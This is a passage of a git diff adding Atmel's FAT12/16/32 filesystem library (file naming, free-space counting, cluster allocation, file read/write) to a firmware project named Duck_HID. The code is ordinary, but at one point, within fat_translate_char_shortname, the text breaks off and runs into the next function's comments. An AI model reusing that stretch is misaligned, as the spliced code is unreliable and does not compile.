uint8_t u8_i, u8_step, character; + uint8_t crc; + uint8_t nb_digit; + + if( !mode ) + { + // Modify internal cache to create short name entry in the current entry + fat_cache_mark_sector_as_dirty(); + // Get pointer on current entry + ptr_entry = fat_get_ptr_entry(); + } + + // Compute the digit number + if( nb < 10 ) nb_digit = 1; + else if( nb < 100 ) nb_digit = 2; + else nb_digit = 3; + + crc = u8_i = 0; + u8_step = 1; + while( 1 ) + { + if( Is_unicode ) + { + character = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + character = sz_name[0]; + } + + if( 1 == u8_step ) + { // step 1 = translate the name + if( ((FS_SIZE_SFNAME_WITHOUT_EXT-(1+nb_digit)) == u8_i) // name field is full (-2 for "~1") + || ('.' == character) // is the end of name without extension + || fat_check_eof_name(character) ) // is the end of name + { + u8_step++; // go to next step + continue; + } + } + if( 8 == u8_step ) + { // step 8 = translate the extension + if( (u8_i == FS_SIZE_SFNAME) // name field is full + || fat_check_eof_name(character) ) // is the end of name + { + u8_step++; // go to next step + continue; + } + } + if( (1==u8_step) || (8==u8_step) ) + { // steps to translate name + character = fat_translate_char_shortname( character ); + sz_name += (Is_unicode? 2 : 1 ); + if( 0 == character ) + { + continue; // Bad character, ignore this one + } + } + if( 7 == u8_step ) + { // step 5 = find character '.' + if( ('.' == character) // is the end of name without extension + || fat_check_eof_name(character) ) // is the end of name + { + u8_step++; // go to next step + } else { + sz_name += (Is_unicode? 2 : 1 ); + } + continue; // this step don't add a character in the short name + } + if( 6 == u8_step ) + { // step 4 = add padding + if( u8_i == FS_SIZE_SFNAME_WITHOUT_EXT ) // end of field name without extension + { + u8_step++; // go to next step + continue; + } + character = ' '; + } + if( 9 == u8_step ) + { // step 7 = add padding in extension name + if( u8_i == FS_SIZE_SFNAME ) // end of field name with extension + { + break; // end of loop while(1) + } + character = ' '; + } + if( 5 == u8_step ) + { // step 4 = add unit 1 of number + character = '0'+(nb%10); + u8_step++; // go to next step + } + if( 4 == u8_step ) + { // step 3 = add unit 10 of number + character = '0'+((nb%100)/10); + u8_step++; // go to next step + } + if( 3 == u8_step ) + { // step 2 = add unit 100 of number + character = '0'+(nb/100); + u8_step++; // go to next step + } + if( 2 == u8_step ) + { // step 2 = add character '~' + character = '~'; + u8_step+=(4-nb_digit); // go to next step + } + + if( mode ) + { + // Record the short name in buffer + *short_name = character; + short_name++; + }else{ + // Record the character in short entry file + *ptr_entry = character; + ptr_entry++; + } + u8_i++; + + // Compute the CRC of the short name + crc = (crc >> 1) + ((crc & 1) << 7); // rotate + crc += character; // add next char + } // End of loop while + return crc; +} + + +//! This function searchs an unique short name +//! +//! @param sz_name original name +//! +//! @return the number used to create the short name +//! @return 0 in case of error +//! +uint8_t fat_find_short_entry_name( FS_STRING sz_name ) +{ + char _MEM_TYPE_SLOW_ short_name[11]; + uint8_t u8_nb; + + u8_nb = 0; + while(1) + { + if( 0xFF == u8_nb ) + return 0; // All short name exist + + u8_nb++; // Try next short name + fat_create_short_entry_name( sz_name , short_name , u8_nb , true ); // Compute the short name + fs_g_nav_fast.u16_entry_pos_sel_file = 0; // Go to beginning of directory + // Scan directory to find a short entry + while(1) + { + if ( !fat_read_dir()) // Read directory + { + if( FS_ERR_OUT_LIST == fs_g_status ) + return u8_nb; // short name don't exist, then good number + return 0; // System or Disk Error + } + if( fat_entry_shortname_compare( short_name ) ) // Check entry + break; // Short name exist + if( FS_ERR_ENTRY_EMPTY == fs_g_status ) + return u8_nb; // Short name don't exist, then good number + fs_g_nav_fast.u16_entry_pos_sel_file++; // Go to next entry + } + } +} + + +//! This function compares a short name with the current entry +//! +//! @param short_name short name to compare (format entry = 8+3 Bytes) +//! +//! @return true it is the same +//! @return false in case of error, see global value "fs_g_status" for more detail +//! +Bool fat_entry_shortname_compare( FS_STRING short_name ) +{ + PTR_CACHE ptr_entry; + + ptr_entry = fat_get_ptr_entry(); + if( FS_ENTRY_END == *ptr_entry ) // end of directory + { + fs_g_status = FS_ERR_ENTRY_EMPTY; + return false; + } + if( (FS_ENTRY_DEL == *ptr_entry ) // deleted entry + || (FS_ATTR_LFN_ENTRY == ptr_entry[11]) ) // long file name + { + fs_g_status = FS_ERR_ENTRY_BAD; + return false; + } + fs_g_status = FS_ERR_ENTRY_BAD; // by default this entry is different then bad + return (0==memcmp_ram2ram(ptr_entry , short_name , 8+3 )); +} + +//! Characters table no supported in a file name +_CONST_TYPE_ uint8_t fs_s_tab_incorrect_char[]={':','*','?','"','<','>','|'}; + +//! This function checks the character in name AND computes the number of entry file to store the name +//! +//! @param sz_name original name to create +//! +//! @return number of entry file to strore the name (short + long name)
+//! if name incorrect then 0 is returned. +//! +uint8_t fat_check_name( FS_STRING sz_name ) +{ + uint8_t u8_nb_entry, u8_i, u8_j; + uint16_t u16_character; + + u8_nb_entry = 2; // a short entry + one long name entry minimum + u8_i = FS_SIZE_LFN_ENTRY; + while( 1 ) + { + if( Is_unicode ) + { + u16_character = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u16_character = sz_name[0]; + } + if( fat_check_eof_name( u16_character ) ) + break; + + for( u8_j = 0 ; u8_j < sizeof(fs_s_tab_incorrect_char) ; u8_j++ ) + { + if( u16_character == fs_s_tab_incorrect_char[u8_j] ) + { + fs_g_status = FS_ERR_INCORRECT_NAME; + return 0; // incorrect character + } + } + if( 0 == u8_i ) + { + u8_nb_entry++; + u8_i = FS_SIZE_LFN_ENTRY; + } + u8_i--; + sz_name += (Is_unicode? 2 : 1 ); + } + if( 0x14 < u8_nb_entry ) + { + fs_g_status = FS_ERR_NAME_TOO_LARGE; + return 0; // Name too large + } + return u8_nb_entry; +} + + +//! Characters table no supported in a short name +_CONST_TYPE_ uint8_t fs_s_execption_char[]={'+',',','.',';','=','[',']'}; + +//! This function translates the character to authorized short name character +//! +//! @param character character to translate +//! +//! @return character translated
+//! if no supported then 0 +//! +uint8_t fat_translate_char_shortname( uint8_t character ) +{ + uint8_t u8_j; + + if( (character<=' ') || ('~' +//! if 0, then error or full +//! +uint32_t fat_getfreespace( void ) +{ + uint32_t u32_nb_free_cluster = 0; + + // Read ALL FAT1 + fs_g_cluster.u32_pos = 2; + + if( Is_fat12 ) + { // FAT12 only + for( + ; fs_g_cluster.u32_pos < fs_g_nav.u32_CountofCluster + ; fs_g_cluster.u32_pos++ ) + { + // Get the value of the cluster + if ( !fat_cluster_val( FS_CLUST_VAL_READ ) ) + return 0; + + if ( 0 == fs_g_cluster.u32_val ) + u32_nb_free_cluster++; + } + } + else + { + if( Is_fat32 ) + { + u32_nb_free_cluster = fat_read_fat32_FSInfo(); + if( 0xFFFFFFFF != u32_nb_free_cluster ) + goto endof_fat_getfreespace; + u32_nb_free_cluster = 0; + } + // Speed optimization only for FAT16 and FAT32 + // init first value used by fat_cluster_readnext() + if( !fat_cluster_val( FS_CLUST_VAL_READ )) + return false; + for( + ; fs_g_cluster.u32_pos < fs_g_nav.u32_CountofCluster + ; fs_g_cluster.u32_pos++ ) + { + if ( 0 == fs_g_cluster.u32_val ) + u32_nb_free_cluster++; + if( !fat_cluster_readnext() ) + return false; + } +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET) ) + if( Is_fat32 ) + { + // Save value for the future call + fat_write_fat32_FSInfo( u32_nb_free_cluster ); + } +#endif + } +endof_fat_getfreespace: + return (u32_nb_free_cluster * fs_g_nav.u8_BPB_SecPerClus); +} + + +//! This function returns the space free in percent +//! +//! @return percent of free space (1 to 100) +//! if 0, then error or full +//! +//! @verbatim +//! More speed than fat_getfreespace() routine but error delta 1% +//! @endverbatim +//! +uint8_t fat_getfreespace_percent( void ) +{ + uint32_t u32_nb_free_cluster = 0; + uint16_t u16_pos; + uint32_t u32_tmp; + + if( Is_fat12 ) + { // No speed optimization necessary on FAT12 + return (((fat_getfreespace()/fs_g_nav.u8_BPB_SecPerClus)*100) / fs_g_nav.u32_CountofCluster); + } + + + fs_g_cluster.u32_pos = 2; + // Init first value used by fat_cluster_readnext() + if( !fat_cluster_val( FS_CLUST_VAL_READ )) + return false; + + // The optimization is to + // - read only the LSB byte of cluster + // - read only 1 cluster for 2 clusters + if( Is_fat32 ) + { + u32_nb_free_cluster = fat_read_fat32_FSInfo(); + if( 0xFFFFFFFF != u32_nb_free_cluster ) + goto endof_fat_getfreespace_percent; + u32_nb_free_cluster = 0; + + u16_pos = 2*4; + for( u32_tmp = fs_g_nav.u32_fat_size + ; u32_tmp!=0 + ; u32_tmp-- ) + { + for( ; u16_pos < 512 ; u16_pos += (2*4) ) + { + if( 0 == fs_g_sector[u16_pos] ) + u32_nb_free_cluster+=2; + } + // Read next sector in FAT + u16_pos = 0; + fs_gu32_addrsector++; + if( !fat_cache_read_sector( true )) + return 0; + } + } + + if ( Is_fat16 ) + { + u16_pos = 2*2; + + for( u32_tmp = fs_g_nav.u32_fat_size + ; u32_tmp!=0 + ; u32_tmp-- ) + { + for( ; u16_pos < 512 ; u16_pos += (2*2) ) + { + if( 0 == fs_g_sector[u16_pos] ) + u32_nb_free_cluster+=2; + } + // Read next sector in FAT + u16_pos = 0; + fs_gu32_addrsector++; + if( !fat_cache_read_sector( true )) + return 0; + } + } + + // Compute percent + if( u32_nb_free_cluster > fs_g_nav.u32_CountofCluster ) + return 100; + if( u32_nb_free_cluster > ((fs_g_nav.u32_CountofCluster-u32_nb_free_cluster)/256) ) + { + // Compute and add a delta error + u32_nb_free_cluster -= ((fs_g_nav.u32_CountofCluster-u32_nb_free_cluster)/256); + } +endof_fat_getfreespace_percent: + return ((u32_nb_free_cluster * 100) / fs_g_nav.u32_CountofCluster); +} + + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function allocs a cluster list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_seg.u32_addr Last cluster value of a cluster list to link with the new cluster list +//! If no cluster list to link then set MSB0(fs_g_seg.u32_addr) to 0xFF +//! fs_g_seg.u32_size_or_pos Maximum size of cluster list to alloc (unit sector) +//! OUT: +//! fs_g_seg.u32_addr Return the first cluster value of the new cluster list +//! fs_g_seg.u32_size_or_pos The number of sector remainning (no allocated sectors, because disk fragmented or disk full) +//! @endverbatim +//! +Bool fat_allocfreespace( void ) +{ + // Flag to signal the first step which search the first free cluster of the new list + Bool first_cluster_free_is_found = false; + // If true then use a quick procedure but don't scan all FAT else use a slow proceudre but scan all FAT + Bool b_quick_find = true; + + if( Is_fat32 ) + { + // Clear info about free space + if( !fat_write_fat32_FSInfo( 0xFFFFFFFF )) + return false; + } + + if( 0xFF == MSB0(fs_g_seg.u32_addr) ) + { +fat_allocfreespace_start: + // New cluster list, then research at the beginning of FAT + fs_g_cluster.u32_pos = 2; + }else{ + // Continue the cluster list then start after the end of the cluster list + fs_g_cluster.u32_pos = fs_g_seg.u32_addr+1; + } + + fat_clear_info_fat_mod(); + + // Read ALL FAT1 + for( + ; fs_g_cluster.u32_pos < fs_g_nav.u32_CountofCluster + ; fs_g_cluster.u32_pos++ ) + { + // Get the value of the cluster + if ( !fat_cluster_val( FS_CLUST_VAL_READ ) ) + return false; + + if ( 0 == fs_g_cluster.u32_val ) + { + // A free cluster is found + fs_g_cluster.u32_val = fs_g_cluster.u32_pos; // value of the cluster is the new free cluster + if( true == first_cluster_free_is_found ) + { + // Link the new cluster with previous cluster + fs_g_cluster.u32_pos--; // select the previous cluster + if ( !fat_cluster_val( FS_CLUST_VAL_WRITE ) ) + return false; + } + else + { + // It is the first cluster of the new list + first_cluster_free_is_found = true; + + if( 0xFF != MSB0(fs_g_seg.u32_addr) ) + { + // Link this new cluster with the current cluster list + // Select the last cluster of the current list + if( 0 == fs_g_seg.u32_addr ) + { // The current cluster list is the cluster list of root directory + if( FS_TYPE_FAT_32 != fs_g_nav_fast.u8_type_fat ) + { + // Impossible to increment ROOT DIR size of FAT12 or FAT16 + fs_g_status = FS_ERR_NO_FREE_SPACE; + return false; + } + fs_g_cluster.u32_pos = fs_g_nav.rootdir.u32_cluster; + } + else + { + fs_g_cluster.u32_pos = fs_g_seg.u32_addr; + } + if ( !fat_cluster_val( FS_CLUST_VAL_WRITE ) ) + return false; + } // else no writing the first cluster value in FAT because no current cluster list + fs_g_seg.u32_addr = fs_g_cluster.u32_val; // save the first cluster value + } + + // At the new cluster position, set the flag end of list + fs_g_cluster.u32_pos = fs_g_cluster.u32_val; // Select the new cluster + fs_g_cluster.u32_val = FS_CLUST_VAL_EOL; // Cluster value is the flag end of list + if ( !fat_cluster_val( FS_CLUST_VAL_WRITE ) ) + return false; + + // Compute the remaining sectors + if ( fs_g_seg.u32_size_or_pos <= fs_g_nav.u8_BPB_SecPerClus ) + { + fs_g_seg.u32_size_or_pos = 0; // All space found + break; // Stop loop + } + fs_g_seg.u32_size_or_pos -= fs_g_nav.u8_BPB_SecPerClus; + } + else + { + // The next cluster is not free + if( true == first_cluster_free_is_found ) + { + // To have a segment memory continue, the cluster list must be continue + // then stop allocation + break; + } + else + { + // It is the first step to search the first free cluster + // then ignore this cluster no free and continue search + if( b_quick_find ) + { + fs_g_cluster.u32_pos += 500; + } + } + } + } + + // End of alloc + if( false == first_cluster_free_is_found ) + { + if( b_quick_find ) + { + // Retry in normal mode to scann all FAT (= no quick mode) + b_quick_find = false; + goto fat_allocfreespace_start; + } + fs_g_status = FS_ERR_NO_FREE_SPACE; // NO FREE CLUSTER FIND + return false; + } + + return fat_update_fat2(); +} +#endif // FS_LEVEL_FEATURES + + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! This function clears the cache information about FAT modifications +//! +void fat_clear_info_fat_mod( void ) +{ + fs_g_u32_first_mod_fat = 0xFFFFFFFF; + fs_g_u32_last_mod_fat = 0; +} +#endif // FS_LEVEL_FEATURES + + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! This function copys the modifications of the first FAT to the second FAT +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_update_fat2( void ) +{ + while( fs_g_u32_first_mod_fat <= fs_g_u32_last_mod_fat ) + { + // Compute the modification position of FAT 1 + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + fs_g_u32_first_mod_fat; + // Read FAT1 + if( !fat_cache_read_sector( true )) + return false; + // Compute the modification position of FAT 2 + fs_gu32_addrsector = fs_g_nav.u32_ptr_fat + (fs_g_u32_first_mod_fat + fs_g_nav.u32_fat_size); + // Init the sector FAT2 with the previous sector of the FAT1 + if( !fat_cache_read_sector( false )) + return false; + // Flag the sector FAT2 like modify + fat_cache_mark_sector_as_dirty(); + fs_g_u32_first_mod_fat++; + } + return true; +} +#endif // FS_LEVEL_FEATURES + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function clears one cluster +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variables used +//! IN : +//! fs_g_seg.u32_addr Cluster value to clear +//! @endverbatim +//! +Bool fat_clear_cluster( void ) +{ + uint8_t u8_loop; + + // Compute the cluster sector address + fs_g_seg.u32_size_or_pos = 0; // Select the beginning of cluster + if( !fat_cluster_list( FS_CLUST_ACT_ONE, false )) + return false; + + // Loop in the cluster (start at the end of cluster) + fs_gu32_addrsector = fs_g_seg.u32_addr + (fs_g_nav.u8_BPB_SecPerClus -1); + for( u8_loop = 0 + ; fs_g_nav.u8_BPB_SecPerClus != u8_loop + ; u8_loop++ ) + { + // Update internal cache with cluster sector inforamtion but don't read data from memory + if( !fat_cache_read_sector( false )) + return false; + + if(0 == u8_loop) + { // Clean internal cache (just for the sector) + fat_cache_clear(); + } + fat_cache_mark_sector_as_dirty(); + fs_gu32_addrsector--; // go to previous sector + } + return true; +} +#endif // FS_LEVEL_FEATURES diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.c new file mode 100755 index 0000000..02633d4 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/services/fs/fat/file.c @@ -0,0 +1,765 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for the file accesses on + * AVR32 devices. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +//_____ I N C L U D E S ___________________________________________________ +#include "conf_explorer.h" +#include "file.h" +#include "navigation.h" +#include LIB_MEM +#include LIB_CTRLACCESS + + +//_____ D E C L A R A T I O N S ____________________________________________ + +//! Use "FAT sector cache" to store a sector from a file (see file_putc(), file_getc(), file_read_buf(), file_write_buf()) +#if (defined __GNUC__) && (defined __AVR32__) +__attribute__((__aligned__(4))) +#elif (defined __ICCAVR32__) +#pragma data_alignment = 4 +#endif +extern _MEM_TYPE_SLOW_ uint8_t fs_g_sector[ FS_CACHE_SIZE ]; + +static void file_load_segment_value( Fs_file_segment _MEM_TYPE_SLOW_ *segment ); + + + +//! This function checks if a file is selected +//! +//! @return true, a file is selected +//! @return false, otherwise +//! +Bool file_ispresent( void ) +{ + if( !fat_check_mount_select() ) + return false; + return fat_check_is_file(); +} + + +//! This function opens the selected file +//! +//! @param fopen_mode option to open the file :
+//! FOPEN_MODE_R R access, flux pointer = 0, size not modify
+//! FOPEN_MODE_R_PLUS R/W access, flux pointer = 0, size not modify
+//! FOPEN_MODE_W W access, flux pointer = 0, size = 0
+//! FOPEN_MODE_W_PLUS R/W access, flux pointer = 0, size = 0
+//! FOPEN_MODE_APPEND W access, flux pointer = at the end, size not modify
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool file_open( uint8_t fopen_mode ) +{ + if( !fat_check_mount_select_noopen()) + return false; + + if( !fat_check_is_file()) + return false; + + if(FOPEN_WRITE_ACCESS & fopen_mode) + { + if( !fat_check_nav_access_file( true ) ) + return false; +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + if (FS_ATTR_READ_ONLY & fs_g_nav_entry.u8_attr) + { + fs_g_status = FS_ERR_READ_ONLY; // File is read only + return false; + } + if( mem_wr_protect( fs_g_nav.u8_lun )) + { + fs_g_status = FS_LUN_WP; // Disk read only + return false; + } +#else + fs_g_status = FS_ERR_MODE_NOAVIALABLE; + return false; +#endif // FS_LEVEL_FEATURES + } + else + { + if( !fat_check_nav_access_file( false ) ) + return false; + } + + if(FOPEN_CLEAR_SIZE & fopen_mode) + { + fs_g_nav_entry.u32_size = 0; // The size is null + } + if(FOPEN_CLEAR_PTR & fopen_mode) + { + fs_g_nav_entry.u32_pos_in_file = 0; + } + else + { // Go to at the end of file + fs_g_nav_entry.u32_pos_in_file = fs_g_nav_entry.u32_size; + } + fs_g_nav_entry.u8_open_mode = fopen_mode; + return true; +} + + +//! This function stores the global segment variable in other variable +//! +//! @param segment Pointer on the variable to fill +//! +static void file_load_segment_value( Fs_file_segment _MEM_TYPE_SLOW_ *segment ) +{ + segment->u8_lun = fs_g_nav.u8_lun; + segment->u32_addr = fs_g_seg.u32_addr; + segment->u16_size = fs_g_seg.u32_size_or_pos; +} + + +//! This function returns a segment (position & size) in a physical memory corresponding at the file +//! +//! @param segment Pointer on the segment structure:
+//! ->u32_size_or_pos IN, shall contains maximum number of sector to read in file (0 = unlimited)
+//! ->u32_size_or_pos OUT, containt the segment size (unit sector)
+//! ->other IN, ignored
+//! ->other OUT, contains the segment position
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is interesting to read a file via a DMA and avoid the file system decode +//! because this routine returns a physical memory segment without File System information. +//! Note: the file can be fragmented and you must call file_read() for each fragments. +//! @endverbatim +//! +Bool file_read( Fs_file_segment _MEM_TYPE_SLOW_ *segment ) +{ + uint8_t u8_nb_sector_truncated; + + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_READ_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_WRITE_ONLY; + return false; + } + + if ( file_eof() ) + { + // End of the file + fs_g_status = FS_ERR_EOF; + return false; + } + + if( !fat_read_file(FS_CLUST_ACT_SEG)) + { + if( FS_ERR_OUT_LIST == fs_g_status ) + fs_g_status = FS_ERR_EOF; // translate the error + return false; + } + // If the segment is too large then truncate it + if( (segment->u16_size != 0) // if no limit then no truncate + && (segment->u16_size < fs_g_seg.u32_size_or_pos) ) + { + u8_nb_sector_truncated = fs_g_seg.u32_size_or_pos - segment->u16_size; + fs_g_seg.u32_size_or_pos = segment->u16_size ; + }else{ + u8_nb_sector_truncated = 0; + } + + // Update file position + fs_g_nav_entry.u32_pos_in_file += (uint32_t)fs_g_seg.u32_size_or_pos * FS_512B; + if( fs_g_nav_entry.u32_size < fs_g_nav_entry.u32_pos_in_file ) + { + // The segment is more larger then file + // case possible: if the file don't use all cluster space + // then compute sectors not used in last cluster of file cluster list + uint8_t u8_nb_sector_not_used; + + // Compute the number of sector used in last cluster + // remark: also the two first bytes of size is used, because the cluster size can't be more larger then 64KB + u8_nb_sector_not_used = LSB1( fs_g_nav_entry.u32_size ) >> (FS_512B_SHIFT_BIT-8); + if( 0 != (fs_g_nav_entry.u32_size & FS_512B_MASK) ) + { // last sector of file isn't full, but it must been read + u8_nb_sector_not_used++; + } + + // Compute the number of sector not used in last cluster + u8_nb_sector_not_used = fs_g_nav.u8_BPB_SecPerClus - (u8_nb_sector_not_used % fs_g_nav.u8_BPB_SecPerClus); + // if all space of cluster isn't used, then it is wrong + if( u8_nb_sector_not_used == fs_g_nav.u8_BPB_SecPerClus ) + u8_nb_sector_not_used = 0; // The file uses all last cluster space + + // Subtract this value a the file position and segment size + u8_nb_sector_not_used -= u8_nb_sector_truncated; + fs_g_seg.u32_size_or_pos -= u8_nb_sector_not_used; // unit sector + fs_g_nav_entry.u32_pos_in_file -= ((uint16_t)u8_nb_sector_not_used) << FS_512B_SHIFT_BIT; // unit byte + } + file_load_segment_value( segment ); + return true; +} + + +//! This function copys in a buffer the file data corresponding at the current position +//! +//! @param buffer buffer to fill +//! @param u16_buf_size buffer size +//! +//! @return number of byte read +//! @return 0, in case of error +//! +uint16_t file_read_buf( uint8_t _MEM_TYPE_SLOW_ *buffer , uint16_t u16_buf_size ) +{ + _MEM_TYPE_FAST_ uint16_t u16_nb_read_tmp; + _MEM_TYPE_FAST_ uint16_t u16_nb_read; + _MEM_TYPE_FAST_ uint16_t u16_pos_in_sector; + _MEM_TYPE_FAST_ uint32_t u32_byte_remaining; + + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_READ_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_WRITE_ONLY; + return false; + } + + u16_nb_read = 0; + + while( 0 != u16_buf_size ) + { + if ( file_eof() ) + { + fs_g_status = FS_ERR_EOF; + return u16_nb_read; // End of the file + } + u32_byte_remaining = fs_g_nav_entry.u32_size-fs_g_nav_entry.u32_pos_in_file; + u16_pos_in_sector = fs_g_nav_entry.u32_pos_in_file % FS_512B; + + if( (0== u16_pos_in_sector) + && (FS_512B <= u32_byte_remaining) + && (FS_512B <= u16_buf_size) +#if (defined __GNUC__) && (defined __AVR32__) || (defined __ICCAVR32__) + && (Test_align((uint32_t)buffer, sizeof(uint32_t))) +#endif + ) + { + // The file data sector can been directly transfer from memory to buffer (don't use internal cache) + if( u16_buf_size <= u32_byte_remaining) + { + u16_nb_read_tmp = u16_buf_size; + }else{ + u16_nb_read_tmp = u32_byte_remaining; + } + u16_nb_read_tmp = u16_nb_read_tmp / FS_512B; // read a modulo sector size + + // Get following sector segment of file + if( !fat_read_file(FS_CLUST_ACT_SEG)) + { + if( FS_ERR_OUT_LIST == fs_g_status ) + fs_g_status = FS_ERR_EOF; // translate the error + return u16_nb_read; + } + // Truncate the segment size found if more larger than asked size + if( u16_nb_read_tmp > fs_g_seg.u32_size_or_pos ) + { + u16_nb_read_tmp = fs_g_seg.u32_size_or_pos; + }else{ + fs_g_seg.u32_size_or_pos = u16_nb_read_tmp; + } + + // Directly data tranfert from memory to buffer + while( 0 != fs_g_seg.u32_size_or_pos ) + { + if( CTRL_GOOD != memory_2_ram( fs_g_nav.u8_lun , fs_g_seg.u32_addr, buffer)) + { + fs_g_status = FS_ERR_HW; + return u16_nb_read; + } + fs_g_seg.u32_size_or_pos--; + fs_g_seg.u32_addr++; + buffer += FS_512B; + } + // Translate from sector unit to byte unit + u16_nb_read_tmp *= FS_512B; + } + else + { + // The file data can't been directly transfer from memory to buffer, the internal cache must be used + + // Tranfer data from memory to internal cache + if( !fat_read_file( FS_CLUST_ACT_ONE )) + { + if( FS_ERR_OUT_LIST == fs_g_status ) + { // Translate the error + fs_g_status = FS_ERR_EOF; // End of file + } + return u16_nb_read; + } + + // Compute the number of data to transfer + u16_nb_read_tmp = FS_512B - u16_pos_in_sector; // The number is limited at sector size + if( u16_nb_read_tmp > u32_byte_remaining ) + u16_nb_read_tmp = u32_byte_remaining; + if( u16_nb_read_tmp > u16_buf_size ) + u16_nb_read_tmp = u16_buf_size; + + // Tranfer data from internal cache to buffer + memcpy_ram2ram( buffer , &fs_g_sector[ u16_pos_in_sector ], u16_nb_read_tmp ); + buffer += u16_nb_read_tmp; + } + // Update positions + fs_g_nav_entry.u32_pos_in_file += u16_nb_read_tmp; + u16_nb_read += u16_nb_read_tmp; + u16_buf_size -= u16_nb_read_tmp; + } + return u16_nb_read; // Buffer is full +} + + +//! This function returns the next byte of file +//! +//! @return The byte readed +//! @return EOF, in case of error or end of file +//! +uint16_t file_getc( void ) +{ + uint16_t u16_byte; + + while(1) + { + if(!(FOPEN_READ_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_WRITE_ONLY; + break; + } + if( fs_g_nav_entry.u32_size <= fs_g_nav_entry.u32_pos_in_file ) + { + fs_g_status = FS_ERR_EOF; + break; + } + + if( !fat_read_file( FS_CLUST_ACT_ONE )) + { + if( FS_ERR_OUT_LIST == fs_g_status ) + { // Translate the error + fs_g_status = FS_ERR_EOF; // End of file + } + break; + } + + u16_byte = fs_g_sector[ fs_g_nav_entry.u32_pos_in_file & FS_512B_MASK ]; + fs_g_nav_entry.u32_pos_in_file++; + return u16_byte; + } + return FS_EOF; // No data readed +} + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function allocs and returns a segment (position & size) in a physical memory corresponding at the file +//! +//! @param segment Pointer on the segment structure:
+//! ->u32_size_or_pos IN, shall contains the maximum number of sector to write in file
+//! ->u32_size_or_pos OUT, contains the segment size (unit sector)
+//! ->other IN, ignored
+//! ->other OUT, contains the segment position
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine is interesting to write a file via a DMA and avoid the file system decode +//! because this routine returns a physical memory segment without File System information. +//! Note: the file can be fragmented and you must call file_write() for each fragments. +//! @endverbatim +//! +Bool file_write( Fs_file_segment _MEM_TYPE_SLOW_ *segment ) +{ + if( !fat_check_mount_select_open()) + return false; + + if(!(FOPEN_WRITE_ACCESS & fs_g_nav_entry.u8_open_mode)) + { + fs_g_status = FS_ERR_READ_ONLY; + return false; + } + + if( !fat_write_file( FS_CLUST_ACT_SEG , segment->u16_size )) + return false; + + // If the segment is too large then truncate it + if( (segment->u16_size != 0) // if not undefine limit + && (segment->u16_size < fs_g_seg.u32_size_or_pos) ) + { + fs_g_seg.u32_size_or_pos = segment->u16_size ; + } + + // Update file position + fs_g_nav_entry.u32_pos_in_file += ((uint32_t)fs_g_seg.u32_size_or_pos * FS_512B); + + // Update size file + if( fs_g_nav_entry.u32_pos_in_file > fs_g_nav_entry.u32_size ) + { + fs_g_nav_entry.u32_size = fs_g_nav_entry.u32_pos_in_file; + } + file_load_segment_value( segment ); + return true; +} + + +//! This function sets the end of file at the current position +//! +//! @return false in case of error, 